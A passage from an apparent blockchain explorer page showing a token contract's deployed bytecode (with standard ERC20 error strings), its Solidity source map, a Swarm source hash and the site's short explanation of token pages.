ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb906118e7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2990611975565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9790611a03565b60405180910390fd5b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ce99190611844565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d739190611627565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e119190610fe7565b60405180910390a350505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610e56578082015181840152602081019050610e3b565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610e7b82610e1f565b610e858185610e29565b9350610e95818560208601610e39565b610e9e81610e61565b840191505092915050565b5f6020820190508181035f830152610ec18184610e71565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610f0382610eda565b9050919050565b610f1381610ef9565b8114610f1d575f80fd5b50565b5f81359050610f2e81610f0a565b92915050565b5f819050919050565b610f4681610f34565b8114610f50575f80fd5b50565b5f81359050610f6181610f3d565b92915050565b5f8060408385031215610f7d57610f7c610ed2565b5b5f610f8a85828601610f20565b9250506020610f9b85828601610f53565b9150509250929050565b5f8115159050919050565b610fb981610fa5565b82525050565b5f602082019050610fd25f830184610fb0565b92915050565b610fe181610f34565b82525050565b5f602082019050610ffa5f830184610fd8565b92915050565b5f805f6060848603121561101757611016610ed2565b5b5f61102486828701610f20565b935050602061103586828701610f20565b925050604061104686828701610f53565b9150509250925092565b5f60ff82169050919050565b61106581611050565b82525050565b5f60208201905061107e5f83018461105c565b92915050565b5f6020828403121561109957611098610ed2565b5b5f6110a684828501610f20565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6110e982610e61565b810181811067ffffffffffffffff82111715611108576111076110b3565b5b80604052505050565b5f61111a610ec9565b905061112682826110e0565b919050565b5f67ffffffffffffffff821115611145576111446110b3565b5b602082029050602081019050919050565b5f80fd5b5f61116c6111678461112b565b611111565b9050808382526020820190506020840283018581111561118f5761118e611156565b5b835b818110156111b857806111a48882610f20565b845260208401935050602081019050611191565b5050509392505050565b5f82601f8301126111d6576111d56110af565b5b81356111e684826020860161115a565b91505092915050565b5f67ffffffffffffffff821115611209576112086110b3565b5b602082029050602081019050919050565b5f61122c611227846111ef565b611111565b9050808382526020820190506020840283018581111561124f5761124e611156565b5b835b8181101561127857806112648882610f53565b845260208401935050602081019050611251565b5050509392505050565b5f82601f830112611296576112956110af565b5b81356112a684826020860161121a565b91505092915050565b5f80604083850312156112c5576112c4610ed2565b5b5f83013567ffffffffffffffff8111156112e2576112e1610ed6565b5b6112ee858286016111c2565b925050602083013567ffffffffffffffff81111561130f5761130e610ed6565b5b61131b85828601611282565b9150509250929050565b5f6020828403121561133a57611339610ed2565b5b5f61134784828501610f53565b91505092915050565b5f806040838503121561136657611365610ed2565b5b5f61137385828601610f20565b925050602061138485828601610f20565b9150509250929050565b61139781610ef9565b82525050565b5f6020820190506113b05f83018461138e565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806113fa57607f821691505b60208210810361140d5761140c6113b6565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156114c25780860481111561149e5761149d611440565b5b60018516156114ad5780820291505b80810290506114bb8561146d565b9450611482565b94509492505050565b5f826114da5760019050611595565b816114e7575f9050611595565b81600181146114fd576002811461150757611536565b6001915050611595565b60ff84111561151957611518611440565b5b8360020a9150848211156115305761152f611440565b5b50611595565b5060208310610133831016604e8410600b841016171561156b5782820a90508381111561156657611565611440565b5b611595565b6115788484846001611479565b9250905081840481111561158f5761158e611440565b5b81810290505b9392505050565b5f6115a682610f34565b91506115b183611050565b92506115de7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846114cb565b905092915050565b5f6115f082610f34565b91506115fb83610f34565b925082820261160981610f34565b915082820484148315176116205761161f611440565b5b5092915050565b5f61163182610f34565b915061163c83610f34565b925082820190508082111561165457611653611440565b5b92915050565b5f60408201905061166d5f83018561138e565b61167a602083018461138e565b9392505050565b5f8151905061168f81610f0a565b92915050565b5f602082840312156116aa576116a9610ed2565b5b5f6116b784828501611681565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61171a602483610e29565b9150611725826116c0565b604082019050919050565b5f6020820190508181035f8301526117478161170e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6117a8602283610e29565b91506117b38261174e565b604082019050919050565b5f6020820190508181035f8301526117d58161179c565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611810601d83610e29565b915061181b826117dc565b602082019050919050565b5f6020820190508181035f83015261183d81611804565b9050919050565b5f61184e82610f34565b915061185983610f34565b925082820390508181111561187157611870611440565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6118d1602683610e29565b91506118dc82611877565b604082019050919050565b5f6020820190508181035f8301526118fe816118c5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61195f602583610e29565b915061196a82611905565b604082019050919050565b5f6020820190508181035f83015261198c81611953565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6119ed602383610e29565b91506119f882611993565b604082019050919050565b5f6020820190508181035f830152611a1a816119e1565b905091905056fea2646970667358221220be3da8b6509b2e371a7dfd2638d02e5a56986a5229c7253d9bd731ac220cd9a664736f6c63430008190033

Deployed Bytecode Sourcemap

3175:4454:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4356:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5830:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4045:86;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5988:285;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4139:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5005:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4739:258;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4238:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3949:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4447:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5235:362;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4597:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5604:216;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4356:83;4393:13;4426:5;4419:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4356:83;:::o;5830:150::-;5896:4;5913:37;5922:10;5934:7;5943:6;5913:8;:37::i;:::-;5968:4;5961:11;;5830:150;;;;:::o;4045:86::-;4089:7;4116;;4109:14;;4045:86;:::o;5988:285::-;6111:4;6128:15;6146:10;6128:28;;6167:38;6183:4;6189:7;6198:6;6167:15;:38::i;:::-;6216:27;6226:4;6232:2;6236:6;6216:9;:27::i;:::-;6261:4;6254:11;;;5988:285;;;;;:::o;4139:91::-;4188:5;4213:9;;;;;;;;;;;4206:16;;4139:91;:::o;5005:222::-;5066:10;5056:20;;:6;;;;;;;;;;;:20;;;:35;;;;;5090:1;5080:11;;:6;;;;;;;;;;;:11;;;;5056:35;:51;;;;;5106:1;5095:12;;:7;:5;:7::i;:::-;:12;;;;5056:51;:102;;;;;5116:42;5111:47;;:1;:47;;;;5056:102;5053:167;;;5189:11;;5174:9;:12;5184:1;5174:12;;;;;;;;;;;;;;;:26;;;;5053:167;;;;5005:222;:::o;4739:258::-;4835:10;4825:20;;:6;;;;;;;;;;;:20;;;4822:168;;4866:6;4862:117;4882:5;:12;4878:1;:16;4862:117;;;4920:43;4930:10;4942:5;4948:1;4942:8;;;;;;;;:::i;:::-;;;;;;;;4952:7;4960:1;4952:10;;;;;;;;:::i;:::-;;;;;;;;4920:9;:43::i;:::-;4896:3;;;;;;;4862:117;;;;4822:168;4739:258;;:::o;4238:110::-;4295:7;4322:9;:18;4332:7;4322:18;;;;;;;;;;;;;;;;4315:25;;4238:110;;;:::o;3949:88::-;3989:13;4022:7;4015:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3949:88;:::o;4447:142::-;4509:4;4526:33;4536:10;4548:2;4552:6;4526:9;:33::i;:::-;4577:4;4570:11;;4447:142;;;;:::o;5235:362::-;5302:10;5292:20;;:6;;;;;;;;;;;:20;;;5289:301;;5329:19;5351:1;5329:23;;5404:9;;;;;;;;;;;5399:2;:14;;;;:::i;:::-;5394:1;5390;5381:6;:10;;;;:::i;:::-;:14;;;;:::i;:::-;:32;;;;:::i;:::-;5367:46;;5428:15;5446:11;5428:29;;5472:11;5486:10;5472:24;;5511:16;5530:3;5511:22;;5571:7;5548:9;:19;5558:8;5548:19;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;5314:276;;;;5289:301;5235:362;:::o;4597:134::-;4669:7;4696:11;:18;4708:5;4696:18;;;;;;;;;;;;;;;:27;4715:7;4696:27;;;;;;;;;;;;;;;;4689:34;;4597:134;;;;:::o;5604:216::-;5650:7;5693:42;5677:67;;;5753:42;5806:4;5677:135;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5670:142;;5604:216;:::o;6285:378::-;6438:1;6421:19;;:5;:19;;;6413:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6519:1;6500:21;;:7;:21;;;6492:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6601:6;6571:11;:18;6583:5;6571:18;;;;;;;;;;;;;;;:27;6590:7;6571:27;;;;;;;;;;;;;;;:36;;;;6639:7;6623:32;;6632:5;6623:32;;;6648:6;6623:32;;;;;;:::i;:::-;;;;;;;;6285:378;;;:::o;7217:409::-;7352:24;7379:25;7389:5;7396:7;7379:9;:25::i;:::-;7352:52;;7439:17;7419:16;:37;7415:204;;7501:6;7481:16;:26;;7473:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7556:51;7565:5;7572:7;7600:6;7581:16;:25;;;;:::i;:::-;7556:8;:51::i;:::-;7415:204;7341:285;7217:409;;;:::o;6671:538::-;6794:15;6812:9;:15;6822:4;6812:15;;;;;;;;;;;;;;;;6794:33;;6857:6;6846:7;:17;;6838:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6941:1;6925:18;;:4;:18;;;6917:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7018:1;7004:16;;:2;:16;;;6996:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7105:6;7089:9;:15;7099:4;7089:15;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;7071:9;:15;7081:4;7071:15;;;;;;;;;;;;;;;:40;;;;7152:6;7138:9;:13;7148:2;7138:13;;;;;;;;;;;;;;;;:20;;;;:::i;:::-;7122:9;:13;7132:2;7122:13;;;;;;;;;;;;;;;:36;;;;7189:2;7174:26;;7183:4;7174:26;;;7193:6;7174:26;;;;;;:::i;:::-;;;;;;;;6783:426;6671:538;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:248::-;369:1;379:113;393:6;390:1;387:13;379:113;;;478:1;473:3;469:11;463:18;459:1;454:3;450:11;443:39;415:2;412:1;408:10;403:15;;379:113;;;526:1;517:6;512:3;508:16;501:27;349:186;287:248;;;:::o;541:102::-;582:6;633:2;629:7;624:2;617:5;613:14;609:28;599:38;;541:102;;;:::o;649:377::-;737:3;765:39;798:5;765:39;:::i;:::-;820:71;884:6;879:3;820:71;:::i;:::-;813:78;;900:65;958:6;953:3;946:4;939:5;935:16;900:65;:::i;:::-;990:29;1012:6;990:29;:::i;:::-;985:3;981:39;974:46;;741:285;649:377;;;;:::o;1032:313::-;1145:4;1183:2;1172:9;1168:18;1160:26;;1232:9;1226:4;1222:20;1218:1;1207:9;1203:17;1196:47;1260:78;1333:4;1324:6;1260:78;:::i;:::-;1252:86;;1032:313;;;;:::o;1351:75::-;1384:6;1417:2;1411:9;1401:19;;1351:75;:::o;1432:117::-;1541:1;1538;1531:12;1555:117;1664:1;1661;1654:12;1678:126;1715:7;1755:42;1748:5;1744:54;1733:65;;1678:126;;;:::o;1810:96::-;1847:7;1876:24;1894:5;1876:24;:::i;:::-;1865:35;;1810:96;;;:::o;1912:122::-;1985:24;2003:5;1985:24;:::i;:::-;1978:5;1975:35;1965:63;;2024:1;2021;2014:12;1965:63;1912:122;:::o;2040:139::-;2086:5;2124:6;2111:20;2102:29;;2140:33;2167:5;2140:33;:::i;:::-;2040:139;;;;:::o;2185:77::-;2222:7;2251:5;2240:16;;2185:77;;;:::o;2268:122::-;2341:24;2359:5;2341:24;:::i;:::-;2334:5;2331:35;2321:63;;2380:1;2377;2370:12;2321:63;2268:122;:::o;2396:139::-;2442:5;2480:6;2467:20;2458:29;;2496:33;2523:5;2496:33;:::i;:::-;2396:139;;;;:::o;2541:474::-;2609:6;2617;2666:2;2654:9;2645:7;2641:23;2637:32;2634:119;;;2672:79;;:::i;:::-;2634:119;2792:1;2817:53;2862:7;2853:6;2842:9;2838:22;2817:53;:::i;:::-;2807:63;;2763:117;2919:2;2945:53;2990:7;2981:6;2970:9;2966:22;2945:53;:::i;:::-;2935:63;;2890:118;2541:474;;;;;:::o;3021:90::-;3055:7;3098:5;3091:13;3084:21;3073:32;;3021:90;;;:::o;3117:109::-;3198:21;3213:5;3198:21;:::i;:::-;3193:3;3186:34;3117:109;;:::o;3232:210::-;3319:4;3357:2;3346:9;3342:18;3334:26;;3370:65;3432:1;3421:9;3417:17;3408:6;3370:65;:::i;:::-;3232:210;;;;:::o;3448:118::-;3535:24;3553:5;3535:24;:::i;:::-;3530:3;3523:37;3448:118;;:::o;3572:222::-;3665:4;3703:2;3692:9;3688:18;3680:26;;3716:71;3784:1;3773:9;3769:17;3760:6;3716:71;:::i;:::-;3572:222;;;;:::o;3800:619::-;3877:6;3885;3893;3942:2;3930:9;3921:7;3917:23;3913:32;3910:119;;;3948:79;;:::i;:::-;3910:119;4068:1;4093:53;4138:7;4129:6;4118:9;4114:22;4093:53;:::i;:::-;4083:63;;4039:117;4195:2;4221:53;4266:7;4257:6;4246:9;4242:22;4221:53;:::i;:::-;4211:63;;4166:118;4323:2;4349:53;4394:7;4385:6;4374:9;4370:22;4349:53;:::i;:::-;4339:63;;4294:118;3800:619;;;;;:::o;4425:86::-;4460:7;4500:4;4493:5;4489:16;4478:27;;4425:86;;;:::o;4517:112::-;4600:22;4616:5;4600:22;:::i;:::-;4595:3;4588:35;4517:112;;:::o;4635:214::-;4724:4;4762:2;4751:9;4747:18;4739:26;;4775:67;4839:1;4828:9;4824:17;4815:6;4775:67;:::i;:::-;4635:214;;;;:::o;4855:329::-;4914:6;4963:2;4951:9;4942:7;4938:23;4934:32;4931:119;;;4969:79;;:::i;:::-;4931:119;5089:1;5114:53;5159:7;5150:6;5139:9;5135:22;5114:53;:::i;:::-;5104:63;;5060:117;4855:329;;;;:::o;5190:117::-;5299:1;5296;5289:12;5313:180;5361:77;5358:1;5351:88;5458:4;5455:1;5448:15;5482:4;5479:1;5472:15;5499:281;5582:27;5604:4;5582:27;:::i;:::-;5574:6;5570:40;5712:6;5700:10;5697:22;5676:18;5664:10;5661:34;5658:62;5655:88;;;5723:18;;:::i;:::-;5655:88;5763:10;5759:2;5752:22;5542:238;5499:281;;:::o;5786:129::-;5820:6;5847:20;;:::i;:::-;5837:30;;5876:33;5904:4;5896:6;5876:33;:::i;:::-;5786:129;;;:::o;5921:311::-;5998:4;6088:18;6080:6;6077:30;6074:56;;;6110:18;;:::i;:::-;6074:56;6160:4;6152:6;6148:17;6140:25;;6220:4;6214;6210:15;6202:23;;5921:311;;;:::o;6238:117::-;6347:1;6344;6337:12;6378:710;6474:5;6499:81;6515:64;6572:6;6515:64;:::i;:::-;6499:81;:::i;:::-;6490:90;;6600:5;6629:6;6622:5;6615:21;6663:4;6656:5;6652:16;6645:23;;6716:4;6708:6;6704:17;6696:6;6692:30;6745:3;6737:6;6734:15;6731:122;;;6764:79;;:::i;:::-;6731:122;6879:6;6862:220;6896:6;6891:3;6888:15;6862:220;;;6971:3;7000:37;7033:3;7021:10;7000:37;:::i;:::-;6995:3;6988:50;7067:4;7062:3;7058:14;7051:21;;6938:144;6922:4;6917:3;6913:14;6906:21;;6862:220;;;6866:21;6480:608;;6378:710;;;;;:::o;7111:370::-;7182:5;7231:3;7224:4;7216:6;7212:17;7208:27;7198:122;;7239:79;;:::i;:::-;7198:122;7356:6;7343:20;7381:94;7471:3;7463:6;7456:4;7448:6;7444:17;7381:94;:::i;:::-;7372:103;;7188:293;7111:370;;;;:::o;7487:311::-;7564:4;7654:18;7646:6;7643:30;7640:56;;;7676:18;;:::i;:::-;7640:56;7726:4;7718:6;7714:17;7706:25;;7786:4;7780;7776:15;7768:23;;7487:311;;;:::o;7821:710::-;7917:5;7942:81;7958:64;8015:6;7958:64;:::i;:::-;7942:81;:::i;:::-;7933:90;;8043:5;8072:6;8065:5;8058:21;8106:4;8099:5;8095:16;8088:23;;8159:4;8151:6;8147:17;8139:6;8135:30;8188:3;8180:6;8177:15;8174:122;;;8207:79;;:::i;:::-;8174:122;8322:6;8305:220;8339:6;8334:3;8331:15;8305:220;;;8414:3;8443:37;8476:3;8464:10;8443:37;:::i;:::-;8438:3;8431:50;8510:4;8505:3;8501:14;8494:21;;8381:144;8365:4;8360:3;8356:14;8349:21;;8305:220;;;8309:21;7923:608;;7821:710;;;;;:::o;8554:370::-;8625:5;8674:3;8667:4;8659:6;8655:17;8651:27;8641:122;;8682:79;;:::i;:::-;8641:122;8799:6;8786:20;8824:94;8914:3;8906:6;8899:4;8891:6;8887:17;8824:94;:::i;:::-;8815:103;;8631:293;8554:370;;;;:::o;8930:894::-;9048:6;9056;9105:2;9093:9;9084:7;9080:23;9076:32;9073:119;;;9111:79;;:::i;:::-;9073:119;9259:1;9248:9;9244:17;9231:31;9289:18;9281:6;9278:30;9275:117;;;9311:79;;:::i;:::-;9275:117;9416:78;9486:7;9477:6;9466:9;9462:22;9416:78;:::i;:::-;9406:88;;9202:302;9571:2;9560:9;9556:18;9543:32;9602:18;9594:6;9591:30;9588:117;;;9624:79;;:::i;:::-;9588:117;9729:78;9799:7;9790:6;9779:9;9775:22;9729:78;:::i;:::-;9719:88;;9514:303;8930:894;;;;;:::o;9830:329::-;9889:6;9938:2;9926:9;9917:7;9913:23;9909:32;9906:119;;;9944:79;;:::i;:::-;9906:119;10064:1;10089:53;10134:7;10125:6;10114:9;10110:22;10089:53;:::i;:::-;10079:63;;10035:117;9830:329;;;;:::o;10165:474::-;10233:6;10241;10290:2;10278:9;10269:7;10265:23;10261:32;10258:119;;;10296:79;;:::i;:::-;10258:119;10416:1;10441:53;10486:7;10477:6;10466:9;10462:22;10441:53;:::i;:::-;10431:63;;10387:117;10543:2;10569:53;10614:7;10605:6;10594:9;10590:22;10569:53;:::i;:::-;10559:63;;10514:118;10165:474;;;;;:::o;10645:118::-;10732:24;10750:5;10732:24;:::i;:::-;10727:3;10720:37;10645:118;;:::o;10769:222::-;10862:4;10900:2;10889:9;10885:18;10877:26;;10913:71;10981:1;10970:9;10966:17;10957:6;10913:71;:::i;:::-;10769:222;;;;:::o;10997:180::-;11045:77;11042:1;11035:88;11142:4;11139:1;11132:15;11166:4;11163:1;11156:15;11183:320;11227:6;11264:1;11258:4;11254:12;11244:22;;11311:1;11305:4;11301:12;11332:18;11322:81;;11388:4;11380:6;11376:17;11366:27;;11322:81;11450:2;11442:6;11439:14;11419:18;11416:38;11413:84;;11469:18;;:::i;:::-;11413:84;11234:269;11183:320;;;:::o;11509:180::-;11557:77;11554:1;11547:88;11654:4;11651:1;11644:15;11678:4;11675:1;11668:15;11695:180;11743:77;11740:1;11733:88;11840:4;11837:1;11830:15;11864:4;11861:1;11854:15;11881:102;11923:8;11970:5;11967:1;11963:13;11942:34;;11881:102;;;:::o;11989:848::-;12050:5;12057:4;12081:6;12072:15;;12105:5;12096:14;;12119:712;12140:1;12130:8;12127:15;12119:712;;;12235:4;12230:3;12226:14;12220:4;12217:24;12214:50;;;12244:18;;:::i;:::-;12214:50;12294:1;12284:8;12280:16;12277:451;;;12709:4;12702:5;12698:16;12689:25;;12277:451;12759:4;12753;12749:15;12741:23;;12789:32;12812:8;12789:32;:::i;:::-;12777:44;;12119:712;;;11989:848;;;;;;;:::o;12843:1073::-;12897:5;13088:8;13078:40;;13109:1;13100:10;;13111:5;;13078:40;13137:4;13127:36;;13154:1;13145:10;;13156:5;;13127:36;13223:4;13271:1;13266:27;;;;13307:1;13302:191;;;;13216:277;;13266:27;13284:1;13275:10;;13286:5;;;13302:191;13347:3;13337:8;13334:17;13331:43;;;13354:18;;:::i;:::-;13331:43;13403:8;13400:1;13396:16;13387:25;;13438:3;13431:5;13428:14;13425:40;;;13445:18;;:::i;:::-;13425:40;13478:5;;;13216:277;;13602:2;13592:8;13589:16;13583:3;13577:4;13574:13;13570:36;13552:2;13542:8;13539:16;13534:2;13528:4;13525:12;13521:35;13505:111;13502:246;;;13658:8;13652:4;13648:19;13639:28;;13693:3;13686:5;13683:14;13680:40;;;13700:18;;:::i;:::-;13680:40;13733:5;;13502:246;13773:42;13811:3;13801:8;13795:4;13792:1;13773:42;:::i;:::-;13758:57;;;;13847:4;13842:3;13838:14;13831:5;13828:25;13825:51;;;13856:18;;:::i;:::-;13825:51;13905:4;13898:5;13894:16;13885:25;;12843:1073;;;;;;:::o;13922:281::-;13980:5;14004:23;14022:4;14004:23;:::i;:::-;13996:31;;14048:25;14064:8;14048:25;:::i;:::-;14036:37;;14092:104;14129:66;14119:8;14113:4;14092:104;:::i;:::-;14083:113;;13922:281;;;;:::o;14209:410::-;14249:7;14272:20;14290:1;14272:20;:::i;:::-;14267:25;;14306:20;14324:1;14306:20;:::i;:::-;14301:25;;14361:1;14358;14354:9;14383:30;14401:11;14383:30;:::i;:::-;14372:41;;14562:1;14553:7;14549:15;14546:1;14543:22;14523:1;14516:9;14496:83;14473:139;;14592:18;;:::i;:::-;14473:139;14257:362;14209:410;;;;:::o;14625:191::-;14665:3;14684:20;14702:1;14684:20;:::i;:::-;14679:25;;14718:20;14736:1;14718:20;:::i;:::-;14713:25;;14761:1;14758;14754:9;14747:16;;14782:3;14779:1;14776:10;14773:36;;;14789:18;;:::i;:::-;14773:36;14625:191;;;;:::o;14822:332::-;14943:4;14981:2;14970:9;14966:18;14958:26;;14994:71;15062:1;15051:9;15047:17;15038:6;14994:71;:::i;:::-;15075:72;15143:2;15132:9;15128:18;15119:6;15075:72;:::i;:::-;14822:332;;;;;:::o;15160:143::-;15217:5;15248:6;15242:13;15233:22;;15264:33;15291:5;15264:33;:::i;:::-;15160:143;;;;:::o;15309:351::-;15379:6;15428:2;15416:9;15407:7;15403:23;15399:32;15396:119;;;15434:79;;:::i;:::-;15396:119;15554:1;15579:64;15635:7;15626:6;15615:9;15611:22;15579:64;:::i;:::-;15569:74;;15525:128;15309:351;;;;:::o;15666:223::-;15806:34;15802:1;15794:6;15790:14;15783:58;15875:6;15870:2;15862:6;15858:15;15851:31;15666:223;:::o;15895:366::-;16037:3;16058:67;16122:2;16117:3;16058:67;:::i;:::-;16051:74;;16134:93;16223:3;16134:93;:::i;:::-;16252:2;16247:3;16243:12;16236:19;;15895:366;;;:::o;16267:419::-;16433:4;16471:2;16460:9;16456:18;16448:26;;16520:9;16514:4;16510:20;16506:1;16495:9;16491:17;16484:47;16548:131;16674:4;16548:131;:::i;:::-;16540:139;;16267:419;;;:::o;16692:221::-;16832:34;16828:1;16820:6;16816:14;16809:58;16901:4;16896:2;16888:6;16884:15;16877:29;16692:221;:::o;16919:366::-;17061:3;17082:67;17146:2;17141:3;17082:67;:::i;:::-;17075:74;;17158:93;17247:3;17158:93;:::i;:::-;17276:2;17271:3;17267:12;17260:19;;16919:366;;;:::o;17291:419::-;17457:4;17495:2;17484:9;17480:18;17472:26;;17544:9;17538:4;17534:20;17530:1;17519:9;17515:17;17508:47;17572:131;17698:4;17572:131;:::i;:::-;17564:139;;17291:419;;;:::o;17716:179::-;17856:31;17852:1;17844:6;17840:14;17833:55;17716:179;:::o;17901:366::-;18043:3;18064:67;18128:2;18123:3;18064:67;:::i;:::-;18057:74;;18140:93;18229:3;18140:93;:::i;:::-;18258:2;18253:3;18249:12;18242:19;;17901:366;;;:::o;18273:419::-;18439:4;18477:2;18466:9;18462:18;18454:26;;18526:9;18520:4;18516:20;18512:1;18501:9;18497:17;18490:47;18554:131;18680:4;18554:131;:::i;:::-;18546:139;;18273:419;;;:::o;18698:194::-;18738:4;18758:20;18776:1;18758:20;:::i;:::-;18753:25;;18792:20;18810:1;18792:20;:::i;:::-;18787:25;;18836:1;18833;18829:9;18821:17;;18860:1;18854:4;18851:11;18848:37;;;18865:18;;:::i;:::-;18848:37;18698:194;;;;:::o;18898:225::-;19038:34;19034:1;19026:6;19022:14;19015:58;19107:8;19102:2;19094:6;19090:15;19083:33;18898:225;:::o;19129:366::-;19271:3;19292:67;19356:2;19351:3;19292:67;:::i;:::-;19285:74;;19368:93;19457:3;19368:93;:::i;:::-;19486:2;19481:3;19477:12;19470:19;;19129:366;;;:::o;19501:419::-;19667:4;19705:2;19694:9;19690:18;19682:26;;19754:9;19748:4;19744:20;19740:1;19729:9;19725:17;19718:47;19782:131;19908:4;19782:131;:::i;:::-;19774:139;;19501:419;;;:::o;19926:224::-;20066:34;20062:1;20054:6;20050:14;20043:58;20135:7;20130:2;20122:6;20118:15;20111:32;19926:224;:::o;20156:366::-;20298:3;20319:67;20383:2;20378:3;20319:67;:::i;:::-;20312:74;;20395:93;20484:3;20395:93;:::i;:::-;20513:2;20508:3;20504:12;20497:19;;20156:366;;;:::o;20528:419::-;20694:4;20732:2;20721:9;20717:18;20709:26;;20781:9;20775:4;20771:20;20767:1;20756:9;20752:17;20745:47;20809:131;20935:4;20809:131;:::i;:::-;20801:139;;20528:419;;;:::o;20953:222::-;21093:34;21089:1;21081:6;21077:14;21070:58;21162:5;21157:2;21149:6;21145:15;21138:30;20953:222;:::o;21181:366::-;21323:3;21344:67;21408:2;21403:3;21344:67;:::i;:::-;21337:74;;21420:93;21509:3;21420:93;:::i;:::-;21538:2;21533:3;21529:12;21522:19;;21181:366;;;:::o;21553:419::-;21719:4;21757:2;21746:9;21742:18;21734:26;;21806:9;21800:4;21796:20;21792:1;21781:9;21777:17;21770:47;21834:131;21960:4;21834:131;:::i;:::-;21826:139;;21553:419;;;:::o

Swarm Source

ipfs://be3da8b6509b2e371a7dfd2638d02e5a56986a5229c7253d9bd731ac220cd9a6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.